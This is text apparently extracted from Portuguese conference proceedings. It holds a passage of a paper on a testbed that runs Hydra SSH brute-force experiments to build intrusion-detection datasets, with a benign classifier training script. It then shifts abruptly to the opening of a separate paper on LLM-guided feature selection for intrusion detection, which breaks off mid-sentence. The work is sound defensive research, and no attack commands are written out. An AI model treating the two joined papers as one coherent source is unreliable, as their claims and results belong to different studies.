Outros esforços relevantes incluem o CTU-13, que disponibiliza capturas reais de
botnets como Neris, Rbot e Virut, preservando o ruı́do natural do tráfego benigno. Em-
bora útil para estudos focados em comportamentos de botnets, sua especialização reduz
a aplicabilidade para vetores que não seguem a mesma dinâmica. O dataset Kitsune, por
sua vez, propõe não apenas conjuntos de dados, mas um método completo baseado em
autoencoders para detecção online em cenários IoT, destacando-se pela operação em fluxo
contı́nuo e baixa latência.

Complementando esse panorama, Sommer e Paxson [Sommer and Paxson 2010]
descrevem limitações recorrentes em estudos baseados exclusivamente em datasets públi-
cos, como splits incorretos, uso inadequado de métricas e dependência de atributos exces-
sivamente discriminativos. Essas crı́ticas motivam abordagens que priorizem reproduti-
bilidade, rastreabilidade experimental e controle explı́cito de leakage, adotando métricas
mais adequadas a cenários desbalanceados, como PR e AP.

Os trabalhos analisados apresentam qualidades distintas: benchmarks amplos e
modernos como CICIDS2017; coleções realistas orientadas a botnets, como CTU-13;
abordagens hı́bridas entre tráfego sintético e real, como UNSW-NB15; e arquiteturas de
detecção online orientadas a IoT, como Kitsune. Em comum, esses esforços fornecem
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material valioso para avaliação, mas dependem de pipelines preexistentes de coleta e pré-
processamento, o que limita a capacidade de reproduzir a geração do tráfego original e
de estudar efeitos metodológicos especı́ficos, como o impacto isolado de atributos ou a
presença de vazamento estrutural.

4. Arquitetura da Ferramenta e Organização do Sistema
A solução proposta integra um testbed controlado (attacker–victim–sensor) com uma
ferramenta de orquestração responsável por traduzir experimentos declarativos em
execuções reais e reprodutı́veis. Enquanto o ambiente virtualizado permite a coleta
de tráfego realista sob condições controladas, a aplicação concentra as funções de con-
trole, monitoramento, automação e processamento necessárias para transformar ataques
configurados em YAML em datasets apropriados para modelos de detecção de anomalias.
A arquitetura resultante forma um ecossistema coerente no qual interface, orquestração,
execução e ETL operam de modo integrado.

A camada de orquestração é implementada combinando Vagrant, OpenSSH e
componentes internos da aplicação para administrar o ciclo de vida das máquinas vir-
tuais. A ferramenta se comunica com o laboratório por meio de conexões SSH persis-
tentes, utilizando sondas periódicas, verificação de estado das VMs e mecanismos de to-
lerância a falhas. Quando um experimento é iniciado, a aplicação valida a integridade das
máquinas, estabelece conexões remotas, sincroniza metadados e garante que as ferramen-
tas necessárias (como Hydra e Zeek) estejam acessı́veis. Esse fluxo evita inconsistências
entre o que está especificado no YAML e o ambiente concreto de execução, oferecendo
um controle fino e auditável sobre a infraestrutura.

No plano lógico, a ferramenta adota uma arquitetura modular com separação clara
entre interface gráfica, serviços de controle e camada de execução. A interface é desen-
volvida em PySide6, explorando componentes visuais customizados, layouts responsivos,
animações e elementos interativos que facilitam a condução dos experimentos. Essa GUI
apresenta ao usuário o estado das VMs, opções de gerenciamento, designer de experi-
mentos e um guia interativo que acompanha cada etapa da execução. A comunicação
entre a interface e os serviços internos ocorre por meio de sinais e workers assı́ncronos,
garantindo responsividade mesmo quando operações complexas — como envio de co-
mandos remotos, execução prolongada do Hydra ou processamento do ETL — estão em
andamento.

O mecanismo declarativo de experimentos representa um dos elementos centrais
da arquitetura. Por meio de arquivos YAML, o usuário define ataques, parâmetros, per-
fis e sequências de execução que são traduzidos automaticamente pela ferramenta. A
aplicação interpreta variáveis como endereços IP, portas e atributos globais, resolvendo
dependências entre máquinas e preparando o contexto necessário para a execução. Du-
rante o experimento, cada passo é monitorado por watchdogs, timeouts e mecanismos de
cancelamento cooperativo, enquanto logs, saı́das e artefatos são registrados e integrados
à timeline. A ferramenta ainda garante persistência desses metadados para que diferentes
execuções possam ser comparadas ou auditadas posteriormente.

A camada de coleta e transformação de dados se articula ao final de cada execução.
Após a conclusão dos ataques, o sensor Zeek produz uma série de artefatos que incluem
registros de conexão, tentativas de autenticação e anomalias observadas. A aplicação
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consolida esses artefatos a partir do manifesto da execução e do conjunto de arquivos de
saı́da, conduzindo um fluxo determinı́stico de pré-ETL e ETL que resultam em datasets
tabulares consistentes. Tecnologias como Pandas, NumPy e mecanismos de coerção e
normalização são empregadas para assegurar que as colunas, formatos e tipos de dados
permaneçam estáveis entre experimentos, condição fundamental para construir modelos
de detecção de anomalias replicáveis e comparáveis.

Figura 1. Interface principal da ferramenta (LabSecUI) exibindo máquinas, operações
do laboratório, console e recursos de orquestração.

A Figura 1 ilustra a interface principal da ferramenta, que atua como painel de
controle do laboratório, exibindo o estado das máquinas, logs e resultados. A Figura 2
apresenta uma visão macro da arquitetura, mostrando como a interface gráfica cria e ge-
rencia as VMs, aciona o guia responsável por interpretar o YAML e executar os passos do
experimento, e como o ETL consolida os artefatos do Zeek até gerar o dataset consumido
pelo pipeline de aprendizado de máquina. Essa integração reforça o caráter reprodutı́vel
da abordagem, permitindo que todo o ciclo — do YAML ao dataset final — seja condu-
zido de maneira padronizada.

Essa arquitetura integrada permite que a ferramenta opere como um laboratório
completo de pesquisa em segurança cibernética, integrando orquestração do testbed,
execução declarativa de ataques, coleta estruturada de tráfego e um pipeline deter-
minı́stico de ETL. Essa combinação viabiliza a repetição controlada de experimentos,
a padronização dos artefatos gerados e a transformação consistente dos dados em datasets
adequados à detecção de anomalias, atendendo a requisitos de transparência, auditabili-
dade e reprodutibilidade cientı́fica.
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Figura 2. Visão geral da arquitetura da ferramenta, integrando GUI, guia do experi-
mento, execução dos passos declarados em YAML, ETL e pipeline de ML.

5. Metodologia

A metodologia deste trabalho inicia-se com a construção de um dataset próprio a partir
de execuções controladas do ataque Hydra contra serviço SSH, em ambiente orquestrado
com attacker, victim e sensor. Os rótulos foram obtidos pela interseção entre a linha
do tempo das tentativas de brute force e os fluxos de rede correspondentes nos logs do
Zeek (como conn.log e ssh.log), considerando tolerância temporal para lidar com atrasos
e imprecisões de relógio, conforme recomendações da literatura sobre sensores de rede.

O pré-processamento/ETL consistiu em coerção numérica sistemática (conversão
com tratamento de erros e preenchimento de valores ausentes) e na aplicação controlada
de codificação one-hot a variáveis categóricas selecionadas, em particular conn state e
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history, e opcionalmente service. Para reduzir risco de vazamento de informação, adotou-
se uma whitelist de colunas relevantes e foram construı́das duas variantes do dataset: uma
incluindo atributos de porta/serviço e outra removendo esses campos, permitindo avaliar
a robustez do modelo quando se evitam features potencialmente “vazadas”.

O particionamento dos dados foi realizado por meio de divisão estratificada entre
treino e teste, com 30% das amostras destinadas ao conjunto de teste e semente fixa para
garantir reprodutibilidade. Quando apropriado, adotou-se ainda validação temporal (splits
baseados em tempo) como mecanismo adicional para mitigar vazamento entre conjuntos
e alinhar o protocolo de avaliação a cenários sujeitos a concept drift. As métricas prio-
rizaram a área sob a curva Precisão–Revocação (PR/AP), mais informativa em contextos
desbalanceados, complementada por acurácia, precisão, revocação e F1-score.

A seleção do limiar de decisão foi conduzida a partir da curva de Precisão–Revocação,
buscando um ponto que atinja uma precisão-alvo na classe hydra e, assim, permita con-
trolar o número de falsos positivos sem comprometer excessivamente o recall. Para
fortalecer a confiabilidade estatı́stica dos resultados, recomenda-se a repetição do expe-
rimento com diferentes sementes de particionamento estratificado e o uso de técnicas de
reamostragem (bootstrap) para estimar intervalos de confiança das métricas. Todo o pro-
cesso experimental é rastreado via manifestos, linha do tempo e artefatos por execução,
e os scripts de treinamento e geração de figuras encontram-se consolidados em apêndice,
de forma a viabilizar a reprodutibilidade integral do pipeline de detecção de anomalias.

6. Resultados

A rodada de baseline mais recente (CSV ≈2,667 linhas; teste ≈ 801 amostras) produziu
resultados quase idênticos entre as variantes, conforme ilustra a Tabela 2.

Tabela 2. Métricas no conjunto de teste (baseline e operação com threshold de PR).

Variante Cenário Accuracy Precision (hydra) Recall (hydra) F1 (hydra)

COM porta/serviço Baseline 0,99 1,00 0,99 0,99
SEM porta/serviço Baseline 0,99 1,00 0,99 0,99

COM porta/serviço PR-threshold (≈ 0,90) 0,96 0,95 0,99 0,97
SEM porta/serviço PR-threshold (≈ 0,90) 0,97 0,95 0,99 0,97

As matrizes de confusão apresentadas para as variantes com e sem atributos de
porta e serviço mostram um padrão consistente de detecção, com a classe Hydra mantendo
taxas muito baixas de falso negativo. Nas imagens da Figura 3 e Figura 4, observam-se
poucos casos de amostras mal classificadas, indicando que o modelo aprendeu de forma
robusta a separação entre fluxos benignos e tentativas de brute force. A distribuição vi-
sual das cores — mais concentrada na diagonal principal — reforça a estabilidade do
comportamento do classificador em ambos os cenários.

A comparação direta entre as matrizes de confusão das duas variantes não re-
vela impacto expressivo decorrente da remoção de atributos de porta e serviço. Em
ambos os casos, a diagonal continua dominante, e a diferença entre as contagens é
mı́nima, sugerindo que o modelo depende fortemente das flow features estruturais do
Zeek, não de variáveis potencialmente sujeitas a vazamento. Essa observação reforça as
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As curvas Precisão–Recall atingiram AP ≈ 0,998 em ambas as variantes. Na operação
com threshold visando precisão-alvo, manteve-se recall elevado (0,99) com
precision ≈ 0,95, reduzindo falsos positivos, sem sacrificar detecção.
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Figura 3. Matrizes de confusão — variante SEM porta/serviço (baseline).
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Figura 4. Matrizes de confusão — variante SEM porta/serviço (baseline).

recomendações da literatura sobre minimização de atributos diretamente ligados ao pro-
tocolo, privilegiando caracterı́sticas derivadas de volume, sequência e estado da conexão.

As curvas PR da Figura 5 evidenciam a capacidade do modelo de operar com alta
revocação enquanto mantém precisão adequada. O ponto assinalado indica o primeiro
limiar que atinge a precisão-alvo definida, permitindo transição controlada entre regime
exploratório (maior revocação) e operacional (maior precisão). A proximidade entre as
curvas das duas variantes confirma que a decisão do modelo permanece estável, mesmo
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com a remoção de atributos potencialmente discriminativos.

0.0 0.2 0.4 0.6 0.8 1.0
Recall

0.65

0.70

0.75

0.80

0.85

0.90

0.95

1.00

Pr
ec

isi
on

  thr 0.000

PR Curve  COM porta/serviço baseline (AP=0.998)

(a) PR — COM porta/serviço (AP≈ 0,998).

0.0 0.2 0.4 0.6 0.8 1.0
Recall

0.65

0.70

0.75

0.80

0.85

0.90

0.95

1.00

Pr
ec

isi
on

  thr 0.003

PR Curve  SEM porta/serviço baseline (AP=0.998)

(b) PR — SEM porta/serviço (AP≈ 0,998).

Figura 5. Curvas Precisão–Recall (baseline). Marcador indica primeiro limiar com
precisão-alvo (≈ 0,90).

Os resultados apresentados nas Figuras 3, 4 e 5 também ilustram de forma clara
a relação entre o pipeline experimental e os resultados obtidos. Como a arquitetura pro-
posta integra orquestração YAML, captura via Zeek e um ETL determinı́stico, as figuras
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refletem diretamente a consistência desse fluxo: os dados alimentados no modelo são lim-
pos, auditáveis e estruturalmente equivalentes entre execuções. Assim, as representações
visuais das matrizes e curvas não apenas validam o desempenho, mas demonstram como
a ferramenta produz resultados estáveis e controláveis, apoiando a argumentação de re-
produtibilidade discutida ao longo do trabalho.

7. Ameaças à Validade
A interpretação dos resultados deve considerar limitações relacionadas ao tamanho e à
diversidade do cenário experimental. Embora as métricas tenham se mostrado elevadas,
elas ainda dependem do vetor Hydra, o que exige replicações multi-run e técnicas de
bootstrap para estimar intervalos de confiança e reduzir variância.

Outra limitação refere-se à ausência de validação sensı́vel ao tempo. Sem um pro-
tocolo time-aware, há risco de vazamento entre as fases de treinamento e teste, tornando
necessária a adoção de procedimentos temporais quando o contexto experimental assim
permitir [Gama et al. 2014]. A capacidade de generalização também é limitada, uma
vez que o estudo considerou apenas o vetor Hydra direcionado ao SSH. Expansões para
ataques de varredura, negação de serviço e exfiltração são necessárias para representar a
diversidade observada em ambientes reais [Ring et al. 2019].

Por fim, a robustez observada com e sem atributos de porta e serviço pode não se
manter em cenários distintos. A dependência potencial do conjunto de features deve ser
reavaliada em outros ambientes, conforme apontado em crı́ticas metodológicas presentes
na literatura [Sommer and Paxson 2010].

8. Conclusão e Trabalhos Futuros
Este trabalho apresentou uma ferramenta reprodutı́vel para análise de ataques Hydra dire-
cionados ao protocolo SSH, integrando orquestração em YAML, coleta de artefatos com
Zeek e um processo determinı́stico de ETL que facilita a auditabilidade e a comparação
entre experimentos. Foi estabelecido um baseline com modelos simples e métricas ade-
quadas ao desbalanceamento, com avaliação centrada em Precisão-Revocação e Average
Precision. Os resultados indicam desempenho consistente, com acurácia próxima de
99%, F1 especı́fico para Hydra próximo de 99% e Average Precision de aproximada-
mente 99,8%. A seleção de limiar na curva de Precisão-Revocação permitiu operar com
precisão em torno de 95% mantendo revocação próxima de 99%, resultando em acurácia
entre 96% e 97%. A equivalência entre cenários com e sem atributos de porta e serviço
reforça a predominância das flow features descritas na literatura, além de alinhar o estudo
a recomendações metodológicas voltadas à reprodutibilidade, ao controle de vazamento e
ao uso de métricas coerentes com o regime de desbalanceamento.

Como trabalhos futuros, pretende-se ampliar o escopo experimental para novos
vetores de ataque (como varreduras Nmap, DoS controlado, brute force em HTTP e FTP,
exfiltração e cenários multiestágio), incorporar validação sensı́vel ao tempo e investigar
concept drift, integrar matrizes de custo e curvas de decisão para análise operacional,
explorar técnicas de explicabilidade como SHAP e LIME, avaliar abordagens ativas e
semi-supervisionadas para realimentação contı́nua do modelo, evoluir a ferramenta para
um pipeline declarativo e modular com múltiplos extratores e registro de esquemas, au-
tomatizar a geração de timelines cruzando eventos do orquestrador e do sensor, construir
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um catálogo parametrizável de ataques com suporte a execuções Monte Carlo, ampliar a
observabilidade dos experimentos com integração ao MLflow e desenvolver um modo de
inferência em janela deslizante para simulação de ambientes SIEM/IDS.

Referências
Cic-ids2017 (site oficial). https://www.unb.ca/cic/datasets/ids-2017.html. Acesso em:

2025-10-12.

Unsw-nb15 (site oficial). https://research.unsw.edu.au/projects/
unsw-nb15-dataset. Acesso em: 2025-10-12.

Zeek log files (ls/stable). https://docs.zeek.org/en/lts/script-reference/
log-files.html. Acesso em: 2025-10-12.

Breiman, L. (2001). Random forests. Machine Learning.

Chandola, V., Banerjee, A., and Kumar, V. (2009). Anomaly detection: A survey. ACM Computing Surveys.

Davis, J. and Goadrich, M. (2006). The relationship between precision-recall and roc curves. In ICML.
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Apêndice A — Scripts e Reprodutibilidade
A.1 Treino (COM/SEM porta/serviço) com sanitização, OHE e PR-thresholding

1 import logging, pandas as pd, numpy as np
2 from pathlib import Path
3 from sklearn.model_selection import train_test_split
4 from sklearn.preprocessing import OneHotEncoder
5 from sklearn.compose import ColumnTransformer
6 from sklearn.pipeline import Pipeline
7 from sklearn.metrics import classification_report,

precision_recall_curve
8 from sklearn.ensemble import RandomForestClassifier
9

10 logging.basicConfig(level=logging.INFO)
11 logger = logging.getLogger("[Metodologia]")
12

13 CSV = Path("lab/data/processed/20251103_225939/
dataset_conn_ssh_20251103_225939.csv")

14

15 def load_df(p: Path) -> pd.DataFrame:
16 df = pd.read_csv(p)
17 logger.info(f"Linhas={len(df)} Colunas={len(df.columns)}")
18 return df
19

20 def train_variant(df: pd.DataFrame, drop_leaky: bool):
21 y = df["label"].astype(str).str.contains("hydra", case=False,

na=False).astype(int)
22

23 num = [c for c in ["duration","pkts_total","bytes_total",
24 "orig_pkts","resp_pkts","orig_ip_bytes","

resp_ip_bytes"]
25 if c in df.columns]
26 if "id.resp_p" in df.columns and not drop_leaky:
27 df["id.resp_p"] = pd.to_numeric(df["id.resp_p"], errors="

coerce").fillna(-1).astype(int)
28 num.append("id.resp_p")
29 for c in num:
30 df[c] = pd.to_numeric(df[c], errors="coerce").fillna(0.0)
31

32 cat = ["conn_state","history"]
33 if "service" in df.columns and not drop_leaky:
34 cat.append("service")
35 cat = [c for c in cat if c in df.columns]
36

37 X = df[num + cat].copy()
38

39 pre = ColumnTransformer([
40 ("num","passthrough",num),
41 ("cat",OneHotEncoder(handle_unknown="ignore",

min_frequency=5),cat)
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42 ])
43 clf = RandomForestClassifier(n_estimators=400, random_state

=42,
44 class_weight="balanced_subsample",

n_jobs=-1)
45 pipe = Pipeline([("prep", pre), ("rf", clf)])
46

47 Xtr, Xte, ytr, yte = train_test_split(X, y, test_size=0.30,
stratify=y, random_state=42)

48 tag = "COM_porta_servico" if not drop_leaky else "
SEM_porta_servico"

49 logger.info(f"Treinando ({tag}) ...")
50 pipe.fit(Xtr, ytr)
51 yp = pipe.predict(Xte)
52 logger.info("\n" + classification_report(yte, yp,

target_names=["benign","hydra"]))
53

54 if hasattr(pipe.named_steps["rf"], "predict_proba"):
55 proba = pipe.predict_proba(Xte)[:,1]
56 prec, rec, thr = precision_recall_curve(yte, proba)
57 thr = np.append(thr, 1.0)
58 best = next((float(t) for p,r,t in zip(prec,rec,thr) if p

>= 0.90), 0.5)
59 yhat = (proba >= best).astype(int)
60 logger.info(f"[Threshold adaptado={best:.3f}] alvo≈0.90")
61 logger.info("\n" + classification_report(yte, yhat,
62 target_names=["benign","hydra"], zero_division=0)

)
63

64 def main():
65 try:
66 df = load_df(CSV)
67 train_variant(df.copy(), drop_leaky=False) # COM
68 train_variant(df.copy(), drop_leaky=True) # SEM
69 except Exception as e:
70 logger.error(f"Falha no pipeline: {e}")
71

72 if __name__ == "__main__":
73 main()
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Abstract. The increasing sophistication of cyberattacks demands adaptive and
efficient Intrusion Detection Systems (IDSs). Yet, the high dimensionality of
data and the complexity of selecting relevant features remain key challenges.
This paper presents GLASPQ-FS (Greedy LLM-based Adaptive Search Proce-
dure for Feature Selection), an evolution of GRASPQ-FS that integrates Large
Language Models (LLMs) into both the constructive and local search phases.
By replacing randomness with semantics-driven reasoning, GLASPQ-FS gene-
rates more consistent and diverse solutions. Experiments using the Llama-3.1-
8B-Instant model and the ERENO dataset demonstrated superior stability and
adaptability, achieving a best F1-score of 0.9915, outperforming GRASPQ-FS
when speaking about how many executions are necessary to find an optimal va-
lue. These results highlight the potential of LLMs as mechanisms to potentiate
metaheuristics.

Resumo. O crescimento dos ataques cibernéticos tem impulsionado o desen-
volvimento de Sistemas de Detecção de Intrusões (IDSs) mais eficientes e adap-
tativos. Entretanto, a alta dimensionalidade dos dados e a complexidade na
seleção de caracterı́sticas relevantes permanecem desafios centrais. Este tra-
balho apresenta o GLASPQ-FS (Greedy LLM-based Adaptive Search Proce-
dure for Feature Selection), uma evolução do GRASPQ-FS que integra Large
Language Models (LLMs) nas fases construtiva e de busca local. Ao substi-
tuir a aleatoriedade por um raciocı́nio guiado semanticamente, o GLASPQ-FS
gera soluções mais consistentes e diversificadas. Os experimentos realizados
com o modelo Llama-3.1-8B-Instant e o conjunto de dados ERENO demonstra-
ram maior estabilidade e adaptabilidade, alcançando um F1-Score máximo de
0,9915, superando o GRASPQ-FS quanto ao numero de execuções necessárias
para se encontrar um valor ótimo. Esses resultados evidenciam o potencial das
LLMs como mecanismos para potencializar as meta-heurı́sticas.

1. Introdução
Com a expansão da internet, observa-se um crescimento paralelo de atividades malicio-
sas, como hacking e roubo de dados. Os ciberataques causaram prejuı́zos estimados em
cerca de 8 trilhões de dólares a empresas em todo o mundo em 2023, com expectativa
de aumento para 24 trilhões até 2027. Algumas formas de ataques estão cada vez mais
frequentes: ransomware cresceu aproximadamente 67% em 2023, tentativas de phishing
aumentaram 58%, e ataques DDoS (Distributed Denial of Service) cresceram 13% no
inı́cio de 2024, com mais de 8 milhões de casos registrados [Embroker 2025]. Diante
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disso, a necessidade de ferramentas robustas de segurança da informação torna-se cada
vez mais fundamental para proteger os sistemas computacionais.

Nesse contexto, os Sistemas de Detecção de Intrusões (IDS) são ferramentas es-
senciais, porém enfrentam desafios como: i) alta dimensionalidade dos dados que preci-
sam ser processados, ii) evolução constante dos padrões de ataque, iii) complexidade na
seleção de caracterı́sticas (ou features) relevantes [Benaissa et al. 2024] e iv) detecção
de novas ameaças desconhecidas (i.e., ataques Zero Day). Nesse contexto, a redução
da dimensionalidade via algoritmos de seleção de features é fundamental, pois reduz a
quantidade e melhora a qualidade das informações processadas, favorecendo a adaptação
contı́nua e o desempenho dos IDSs frente a cenários de ataque em constante evolução.

A literatura tradicional propõe métodos para otimizar a seleção de features. Algo-
ritmos de filtro como Information Gain [Azhagusundari et al. 2013] são rápidos, porém
menos eficientes. Já a abordagem embedded depende da implementação de cada algo-
ritmo classificador. Por fim, algoritmos Wrapper como IWSS (Incremental Wrapper Sub-
set Selection) [Bermejo et al. 2009], que são mais precisos, tendem a exigir um mais alto
custo computacional e maior tempo de processamento.

Diante dos desafios em equilibrar eficiência computacional com a efetividade da
seleção de features, a literatura mais recente introduz métodos como o IWSHAP (Itera-
tive Wrapper Subset Selection and Shapley Additive Explanations) [Scherer et al. 2024],
que combina o tradicional IWSS com SHAP (SHapley Additive ExPlanations) [Lund-
berg and Lee 2017], e o GRASP-FS (Greedy Randomized Adaptive Search Procedure -
Feature Selection) [Quincozes et al. 2021], que combina filtro e wrapping por meio de
metaheuristicas. Em particular, o GRASP-FS é um algoritmo composto por duas fases,
uma de construção e outra de busca local [Quincozes et al. 2021]. No entanto, essas abor-
dagens enfrentam desafios. IWSHAP, por ser baseado em SHAP, apresenta limitações
na percepção de interações entre variáveis. Já o GRASP-FS possui uma dependência de
movimentos aleatórios que pode tornar mais custosa a busca por boas soluções ao passo
que mantém boa eficiência computacional. Outra limitação da implementação original
do GRASP-FS [Quincozes et al. 2021] consiste na falta de flexibilidade no tamanho dos
subconjuntos explorados. Embora algumas implementações do GRASP-FS (e.g., GR-G-
VND e GR-G-RVND, em [Silva et al. 2023] e [Quincozes et al. 2022]) abordem essa
limitação usando algoritmos como o IWSS na etapa de busca local, tais implementações
ainda apresentam desafios como a convergência prematura.

Este trabalho propõe o método GLASPQ-FS, uma melhoria ao algoritmo
GRASPQ-FS [Quincozes et al. 2024b] (versão mais recente do GRASP-FS, que uti-
liza filas de prioridade). A proposta consiste em explorar a capacidade dos LLMs (Large
Language Models) de gerar sequências preditivas por meio de Inteligência Artificial (IA)
generativa para a seleção de features para substituir a aleatoriedade da metaheurı́stica
GRASP por movimentos guiados por raciocı́nio, desta forma permitindo o algoritmo ex-
plorar soluções com quantidades diferentes de features evitando ajustes manuais. Com
isso, esta proposta consiste na primeira implementação do GRASP-FS que substitui a
aleatoriedade dos movimentos de busca local e na geração de soluções iniciais na fase
construtiva por correlações e análise de padrões mais complexos por meio de LLMs. As-
sim, a geração de soluções, tanto na etapa de construção quanto na busca local, é aprimo-
rada pelo uso de LLMs, permitindo maior flexibilidade mesmo em cenários com poucos
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exemplos [Kheddar 2024].

O algoritmo GLASPQ-FS foi implementado com o modelo llama-3.1-8b-instant.
Para fins comparativos, a implementação foi aplicada ao mesmo conjunto de dados utili-
zado no GRASPQ-FS [Quincozes et al. 2024b]. Os resultados demonstraram que a nova
variação supera a versão anterior, que não empregava LLMs.

As contribuições deste trabalho incluem:

• Utilizar LLM escolha de features para IDs;
• Proposta de 4 Prompts gerados a partir de técnicas de engenharia de prompt com

objetivo de obter os conjuntos de features;
• Avaliação e comparação do método proposto com métodos já consolidados na

literatura (GRASPQ-FS).

2. Seleção de features

A seleção de features é um aspecto central no desenvolvimento de um IDS, pois influencia
diretamente a eficácia do processo de detecção. Diversos algoritmos podem ser emprega-
dos na construção desses sistemas, como técnicas de agrupamento (clustering), a exemplo
do K-Means, métodos probabilı́sticos, como Redes Bayesianas, e modelos baseados em
árvores de decisão, como o J48 e o Naive Bayes. Independentemente da abordagem ado-
tada, a qualidade e a relevância das features utilizadas como entrada são determinantes
para o desempenho do modelo [Quincozes et al. 2024b, Quincozes et al. 2021].

Em termos práticos, as features correspondem aos atributos extraı́dos de um sis-
tema (registros do sistema operacional, chamadas de sistema, registros de aplicações,
etc.) ou como dados de redes (tamanho dos pacotes, horários de transmissão, tipo de
protocolo, informações sobre origem e destino, etc.). O processo de seleção busca, por-
tanto, identificar quais desses atributos são mais representativos para distinguir compor-
tamentos legı́timos de atividades maliciosas, garantindo maior precisão na detecção de
intrusões [Quincozes et al. 2024b].

2.1. Algoritmos Tradicionais de Seleção de Features

A seleção de features é uma etapa essencial no processo de aprendizado de máquina,
pois reduz a dimensionalidade dos dados e aprimora o desempenho dos classificadores.
Tradicionalmente, os métodos de seleção são agrupados em três categorias principais: fil-
ter, wrapper e embedded. Os métodos filter avaliam os atributos de forma independente,
considerando métricas estatı́sticas como entropia, correlação ou informação mútua para
determinar sua relevância em relação às classes das amostras (i.e., comportamento nor-
mal ou tipo de ataque). Apesar de sua simplicidade e baixo custo computacional, esses
métodos não consideram o impacto direto das features sobre o desempenho de um modelo
especı́fico [Kasongo and Sun 2020, Vaca and Niyaz 2018].

Os métodos wrapper, por sua vez, avaliam subconjuntos de atributos utilizando o
desempenho de um algoritmo de aprendizado de máquina como critério de seleção. Essa
abordagem tende a gerar resultados mais precisos que os métodos baseados em filtro,
embora apresente maior custo computacional [Quincozes et al. 2020]. Para mitigar esse
custo, algumas variantes incorporam estratégias de busca inteligente, como amostragem
adaptativa e heurı́sticas de exploração do espaço de soluções.
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Por fim, os métodos embedded realizam a seleção de atributos durante o próprio
processo de treinamento do classificador, descartando automaticamente features me-
nos relevantes. Além dessas categorias, destacam-se as abordagens baseadas em me-
taheurı́sticas, como Algoritmos Genéticos e GRASP (Greedy Randomized Adaptive Se-
arch Procedure), que buscam explorar o espaço de soluções de forma mais eficiente,
equilibrando qualidade e custo computacional [Quincozes et al. 2021].

2.2. GRASP-FS
O GRASP é um algoritmo meta-heurı́stico iterativo utilizado para resolver problemas
de otimização combinatória, como a seleção de features (como é o caso do GRASP-
FS [Quincozes et al. 2021]) em Sistemas de Detecção de Intrusão (IDS). Ele opera
em duas fases principais: (i) construção de uma solução viável e (ii) refinamento dessa
solução por meio de uma busca local. Na fase de construção, uma solução inicial é ge-
rada com base em uma estratégia gulosa randomizada, utilizando uma lista de candidatos
restritos (RCL, do inglês Restricted Candidate List), a qual é um apanhado de candidatos
selecionados por algum critério (por exemplo, usando um algoritmo de filtro como o Mu-
tual Information ou Information Gain). Em seguida, na fase de busca local, a solução é
iterativamente aprimorada até atingir um ponto de ótimo local. O processo é repetido por
várias iterações, armazenando a melhor solução encontrada. [Quincozes et al. 2024b]

Em [Quincozes et al. 2024b], é apresentada a variante mais recente do GRASP
para seleção de features, a qual é chamada GRASPQ-FS, que incorpora uma fila de pri-
oridade na construção das soluções, priorizando atributos com maior valor de Mutual
Information, o que reduz significativamente o tempo de execução, mantendo ou melho-
rando a qualidade da solução. O algoritmo GRASPQ-FS inicia com o cálculo do Mutual
Information para cada atributo e a formação da lista restrita de candidatos. Em seguida,
durante o laço principal, são geradas soluções iniciais que são avaliadas e inseridas em
uma fila de prioridade. Depois, no segundo laço, as soluções armazenadas na fila passam
por busca local e são comparadas com a melhor encontrada até o momento, atualizando o
conjunto ótimo de features quando há melhora. Esse processo visa balancear exploração
e intensificação, com o objetivo de reduzir o tempo de execução e preservar a qualidade.

3. Trabalhos Relacionados
Na literatura, existem alguns esforços que investigam a aplicação de LLMs no contexto
de IDSs. Os trabalhos relacionados são apresentados a seguir.

Para o estudo comparativo entre LLMs e métodos tradicionais de aprendizado de
máquina, destaca-se o trabalho de Houssel et al. 2024, que avalia o desempenho e a ca-
pacidade explicativa de diferentes modelos na detecção de fluxos de rede maliciosos. Em
particular, os autores comparam os modelos GPT-4 (Generative Pre-trained Transformer
4) e LLaMA3 (Large Language Model Meta AI 3) a técnicas tradicionais de aprendizado
de máquina, como RF (Random Forest) e LSTM (Long Short-Term Memory), na detecção
de fluxos de rede maliciosos (NetFlows). Os resultados indicam que os LLMs se destacam
na geração de explicações em linguagem natural, enquanto o desempenho em detecção
varia conforme a configuração: em cenários zero-shot tende a ser inferior aos modelos
clássicos, e com fine-tuning apresenta ganhos modestos, sem vantagem consistente. No
entanto, apesar do trabalho abordar um contexto semelhante ao presente trabalho, os au-
tores não tratam da seleção de features.
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O artigo [Kheddar 2024] apresenta uma pesquisa abrangente sobre a aplicação
de Transformers e LLMs em IDS, analisando arquiteturas como modelos baseados em
atenção, hı́bridos (CNN/LSTM-Transformer), Vision Transformers (ViTs) e métodos ba-
seados em LLMs (BERT, GPT), além de explorar ambientes como redes de computadores,
IoT, infraestruturas crı́ticas e veı́culos autônomos. As principais contribuições do traba-
lho incluem uma taxonomia detalhada de técnicas de IDS, classificação de mecanismos
de atenção, revisão de métodos state-of-the-art e a identificação de desafios como inter-
pretabilidade, escalabilidade e adaptação a ameaças evolutivas. Porém, com limitações,
as quais destacam-se a heterogeneidade de dados, custo computacional, dependência de
pré-processamento e dificuldades em generalização para novos domı́nios. Como direções
futuras, os autores propõe integrar Reinforcement Learning com agentes LLM, desenvol-
ver modelos multimodais (texto, imagem), aprimorar a eficiência em tempo real, aplicar
transfer learning entre domı́nios especı́ficos (saúde, finanças) e abordar riscos éticos e
de segurança inerentes aos LLMs, como ataques de injeção de prompts e vazamento de
dados sensı́veis.

O trabalho [Benaissa et al. 2024] propõe um IDS baseado em aprendizado de
máquina, combinando seleção de caracterı́sticas via CFS-PSO (Correlation-based Fea-
ture Selection com Particle Swarm Optimization) para reduzir a dimensionalidade e Ran-
dom Forest para classificação, visando otimizar a precisão na identificação de ataques em
redes. Suas principais contribuições incluem a integração de técnicas de otimização bi-
oinspiradas (PSO) com a seleção de atributos relevantes, além da validação comparativa
de múltiplos classificadores (como Naive Bayes, KNN e SVM) no conjunto NSL-KDD.
A metodologia envolveu pré-processamento (normalização, codificação one-hot), seleção
das 21 caracterı́sticas mais relevantes (de 41) e avaliação métrica (acurácia, taxa de
detecção). Os resultados demonstraram eficiência superior: 98,78% de acurácia, 98,84%
de taxa de detecção e 1,3% de falsos alarmes em classificação binária, superando métodos
como Aprendizagem profunda e RNN. Como limitações, destaca-se a ausência de testes
para ataques zero-day e operação em tempo real, sugerindo futuros trabalhos para adaptar
a técnica a bases como UNSW-NB15 e explorar a detecção em fluxos dinâmicos.

Por fim, o trabalho [Quincozes et al. 2024b] propõe o GRASPQ-FS, uma ex-
tensão eficiente do algoritmo GRASP-FS [Quincozes et al. 2020], voltado para a seleção
de atributos em IDSs, incorporando uma fila de prioridade na fase de construção para
reduzir significativamente o tempo de processamento. As principais contribuições in-
